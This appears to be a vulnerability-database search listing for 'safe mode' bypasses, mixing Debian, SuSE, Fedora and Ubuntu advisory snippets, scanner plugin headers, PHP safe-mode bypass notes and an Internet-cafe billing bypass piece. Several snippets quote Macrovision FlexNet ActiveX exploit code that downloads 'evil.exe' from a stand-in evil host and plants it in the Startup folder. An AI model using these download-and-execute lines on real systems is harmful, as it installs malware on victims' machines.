Debian Security Advisory DSA 1157-1 (ruby1.8)

The remote host is missing an update to ruby1.8 announced via advisory DSA 1157-1. Several vulnerabilities have been discovered in the interpreter for the Ruby language, which may lead to the bypass of security restrictions or denial of service. The Common Vulnerabilities and Exposures project...

Debian: Security Advisory (DSA-1139-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Debian Security Advisory DSA 208-1 (perl, perl-5.004, perl-5.005)

The remote host is missing an update to perl, perl-5.004, perl-5.005 announced via advisory DSA 208-1. OpenVAS Vulnerability Test $Id: deb2081.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 208-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft In...

Debian: Security Advisory (DSA-860-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Debian Security Advisory DSA 168-1 (PHP3, PHP4)

The remote host is missing an update to PHP3, PHP4 announced via advisory DSA 168-1. OpenVAS Vulnerability Test $Id: deb1681.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 168-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...

Debian Security Advisory DSA 862-1 (ruby1.8)

The remote host is missing an update to ruby1.8 announced via advisory DSA 862-1. OpenVAS Vulnerability Test $Id: deb8621.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 862-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit

No description provided by source. !-- Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit Implemented Categories: Category: Safe for Scripting Written by e.b. Tested on Windows XP SP2fully patched English, IE6, isusweb.dll version 6.1.100.61372 -- html head titleMacrovision FlexNet...

Macrovision FlexNet DownloadManager Insecure Methods Exploit

No description provided by source. !-- Macrovision FlexNet DownloadManager Insecure Methods Exploit Implemented Categories: Category: Safe for Scripting Written by e.b. Tested on Windows XP SP2fully patched English, IE6, ISDM.exe version 6.1.100.61372 -- html head titleMacrovision FlexNet...

Macrovision FlexNet - isusweb.dll DownloadAndExecute Method

Macrovision FlexNet - isusweb.dll DownloadAndExecute Method Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit function Check obj.DownloadAndExecute"Bla","11111111-1111-1111-1111-111111111111",0,"http://www.evilsite.com/evil.exe","evil.exe"; Unable to create object milw0rm.com...

Macrovision FlexNet - 'isusweb.dll' DownloadAndExecute Method

Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit function Check obj.DownloadAndExecute"Bla","11111111-1111-1111-1111-111111111111",0,"http://www.evilsite.com/evil.exe","evil.exe"; Unable to create object milw0rm.com 2008-01-15...

Macrovision FlexNet DownloadManager - Insecure Methods

Macrovision FlexNet DownloadManager Insecure Methods Exploit function Check var mJob = obj.CreateJob"SomeJob",0,"11111111-1111-1111-1111-111111111111"; mJob.AddFile"http://www.evilsite/evil.exe","C:\Documents and Settings\All Users\Start Menu\Programs\Startup\harmless.exe"; mJob.SetPriority0;...

PHP < 4.4.8 Multiple Vulnerabilities

According to its banner, the version of PHP installed on the remote host is older than 4.4.8. Such versions may be affected by several issues, including integer overflows involving the 'chunksplit', 'strcspn', and 'strspn' functions, and 'safemode' / 'openbasedir' bypasses. %NASLMINLEVEL 70300 C...

PHP set_time_limit limitation bypass

It's possible to use iniset"maxexecutiontime", 90000000; in safe mode instead of settimelimit...

php525-bypass.txt

SAFE MODE BYPASS body font-size: 10px; font-family: verdana; INPUT BORDER-TOP-WIDTH: 1px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 10px; BORDER-LEFT-COLOR: D50428; BACKGROUND: 590009; BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: D50428; COLOR: 00ff00; BORDER-TOP-COLOR: D50428;...

SuSE 10 Security Update : ruby (ZYPP Patch Number 1946)

An attacker could bypass the 'safe level' checks. CVE-2006-3694 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid29570; scriptversion"1.12";...

PHP safe mode protection bypass with htaccess

It's possible to manipulate function iniset and sessionsavepath with htaccess settings...

On bypass Internet cafes charge system-vulnerability warning-the black bar safety net

This method no matter what the cafes,whatever he means what the charging system,can be used,but we note that,in people with less time or people much more special when you use less,easy to be found!! Okay,now teach you: One into the cafe,the computer is off,you first boot,and then continuously...

Fedora 7 : emacs-22.1-5.fc7 (2007-3056)

Tue Nov 6 2007 Chip Coldwell - 22.1-5 - fix insufficient safe-mode checks Resolves: bz367581 - Update rpm-spec-mode to the current upstream, drop compat patch bz306841 - Wed Sep 12 2007 Chip Coldwell - 22.1-4 - require xorg-x11-fonts-ISO8859-1-100dpi instead of 75dpi Resolves: bz281861 - drop...

Fedora 8 : emacs-22.1-8.fc8 (2007-2946)

Tue Nov 6 2007 Chip Coldwell 22.1-8 - fix insufficient safe-mode checks Resolves: bz367591 - Thu Nov 1 2007 Chip Coldwell 22.1-7 - Update rpm-spec-mode to the current upstream, drop compat patch bz306841 Note that Tenable Network Security has extracted the preceding description block directly...

Ubuntu 7.10 : emacs22 vulnerability (USN-541-1)

Drake Wilson discovered that Emacs did not correctly handle the safe mode of 'enable-local-variables'. If a user were tricked into opening a specially crafted file while 'enable-local-variables' was set to the non-default ':safe', a remote attacker could execute arbitrary commands with the user's...